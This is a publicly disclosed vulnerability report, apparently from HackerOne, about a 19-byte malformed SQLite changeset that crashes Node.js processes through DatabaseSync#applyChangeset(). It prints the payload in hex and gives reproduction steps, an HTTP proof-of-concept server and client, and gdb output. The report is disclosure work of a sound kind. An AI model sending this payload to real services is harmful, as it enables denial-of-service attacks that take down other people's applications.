HexBrain

Node.js · Report #3736889

NULL pointer dereference in node:sqlite DatabaseSync#applyChangeset() via malformed SQLite changeset

Informativestatus
highseverity
44upvotes
23 May 2026disclosed

How it was found

Summary: A 19-byte malformed SQLite changeset passed to Node.js node:sqlite DatabaseSync#applyChangeset() causes a native NULL pointer dereference and terminates the Node.js process.

Description: The built-in Node.js node:sqlite API exposes DatabaseSync#applyChangeset(changeset[, options]), which accepts a Uint8Array binary changeset and is documented as a wrapper around SQLite sqlite3changeset_apply().

I found a malformed 19-byte changeset that causes a process crash when passed to DatabaseSync#applyChangeset() against a compatible target schema. The failure is not a JavaScript exception that an application can catch. The process terminates with SIGSEGV / exit 139.

The issue is reachable through a public Node.js API. I also included an end-to-end HTTP PoC showing the practical consumer scenario: a minimal Node.js HTTP service reads the request body as a changeset and calls db.applyChangeset(body). A single POST request containing the 19-byte payload causes the server process to crash.

Tested official Node.js Linux x64 builds:

Node.js versionBundled SQLite versionResult
v22.22.33.51.3SIGSEGV / exit 139
v24.15.03.51.3SIGSEGV / exit 139
v26.1.03.53.0SIGSEGV / exit 139

I also reproduced the underlying sqlite3changeset_apply() crash with standalone SQLite upstream 3.53.1, which is the latest SQLite release I found in the official SQLite release history at the time of testing. This supports that the root cause is still present in current upstream SQLite, while the Node.js-specific impact is reachability through the public node:sqlite API.

Steps To Reproduce:

I attached a self-contained PoC package:

Nodejs_PoC.zip

Payload file inside the package:

poc/nullpk_19b.changeset

Payload hex:

54 04 01 00 00 00 74 31 00 17 7e 00 72 28 65 65 28 65 65

Direct API crash

  1. Extract the attached PoC package on Linux or WSL:

unzip Nodejs_PoC.zip cd Nodejs_PoC


2. Point `NODE_BIN` to an affected Node.js binary. For example:

```sh
export NODE_BIN=/path/to/node
$NODE_BIN --version

I reproduced with official Linux x64 Node.js v22.22.3, v24.15.0, and v26.1.0.

  1. Run the direct API PoC:

    NODE_BIN=$NODE_BIN ./run_direct.sh
    
  2. Expected result:

    NODE_BIN=/path/to/node
    node=v22.22.3
    sqlite=3.51.3
    payload_len=19
    Segmentation fault (core dumped)
    

HTTP end-to-end crash

  1. In terminal 1, start the sample HTTP service:

    cd sqlite_node_applychangeset_submission_package_20260515
    export NODE_BIN=/path/to/node
    NODE_BIN=$NODE_BIN ./run_http_server.sh
    

    Expected:

    NODE_BIN=/path/to/node
    node=v22.22.3
    sqlite=3.51.3
    listening=http://127.0.0.1:31337/apply
    
  2. In terminal 2, confirm that the endpoint is alive with an empty POST:

    curl -i -X POST http://127.0.0.1:31337/apply \
      -H 'Content-Type: application/octet-stream' \
      --data-binary ''
    

    Expected client result:

    HTTP/1.1 200 OK
    ...
    ok
    

    Expected server log:

    received=0
    
  3. In terminal 2, send the malformed 19-byte changeset:

    ./run_http_client.sh http://127.0.0.1:31337/apply
    

    Expected client result:

    url=http://127.0.0.1:31337/apply
    payload_len=19
    request_error=RemoteDisconnected: Remote end closed connection without response
    

    Expected server result:

    received=19
    Segmentation fault (core dumped)
    

I also reproduced the HTTP PoC manually on WSL using the official Node.js v22.22.3 Linux x64 binary. The server logged received=0 for the empty POST, then received=19 for the malformed changeset, and then terminated with Segmentation fault (core dumped).

For the standalone SQLite upstream check, I compiled SQLite 3.53.1 with SQLITE_ENABLE_SESSION and SQLITE_ENABLE_PREUPDATE_HOOK, then ran the attached C harness against the same 19-byte changeset. It printed sqlite_version=3.53.1, payload_len=19, and then exited with SIGSEGV / exit 139. The gdb stack again reached sqlite3_value_type(NULL) through sessionBindValue(), sessionApplyOneOp(), and sqlite3changeset_apply().

I am not claiming that the Node.js wrapper itself is the root cause. The links below document the Node.js reachability path: in the current Node.js source, DatabaseSync::ApplyChangeset() accepts a Uint8Array and forwards it to SQLite sqlite3changeset_apply(), where the native crash occurs in the tested binaries. The tested release binaries show the same call path in the gdb backtrace.

  • DatabaseSync::ApplyChangeset(): https://github.com/nodejs/node/blob/main/src/node_sqlite.cc#L2244
  • the wrapper forwards the supplied Uint8Array to sqlite3changeset_apply(): https://github.com/nodejs/node/blob/main/src/node_sqlite.cc#L2347-L2353
  • applyChangeset is exposed on DatabaseSync: https://github.com/nodejs/node/blob/main/src/node_sqlite.cc#L3954-L3955

The gdb stack from the attached logs:

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
#0  sessionApplyOneOp()
#1  sessionApplyOneWithRetry()
#2  sessionChangesetApply()
#3  sqlite3changeset_apply()
#4  node::sqlite::DatabaseSync::ApplyChangeset(...)

## Impact

A Node.js process can be terminated by attacker-controlled changeset bytes when an application accepts a SQLite changeset across a trust boundary and passes it to `DatabaseSync#applyChangeset()`.

The attached HTTP PoC demonstrates the network-facing consumer pattern:

```js
req.on('end', () => {
  const changeset = Buffer.concat(chunks);
  db.applyChangeset(changeset);
});

Because the failure is a native SIGSEGV in the SQLite apply path, JavaScript try/catch around application-level logic cannot reliably recover once the process faults. Supervisors such as systemd, PM2, or Kubernetes may restart the process, but repeated requests can still cause repeated service interruption.

This report should be treated as availability-only:

  • Confidentiality: none demonstrated
  • Integrity: none demonstrated
  • Availability: high, process termination

If Node.js triage considers only direct local API invocation rather than a network-consuming application, a lower local-attack vector may be more appropriate. I selected the network vector because Node.js exposes the affected primitive as a public API intended for applying binary changesets, and the attached HTTP PoC shows a realistic network service pattern.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original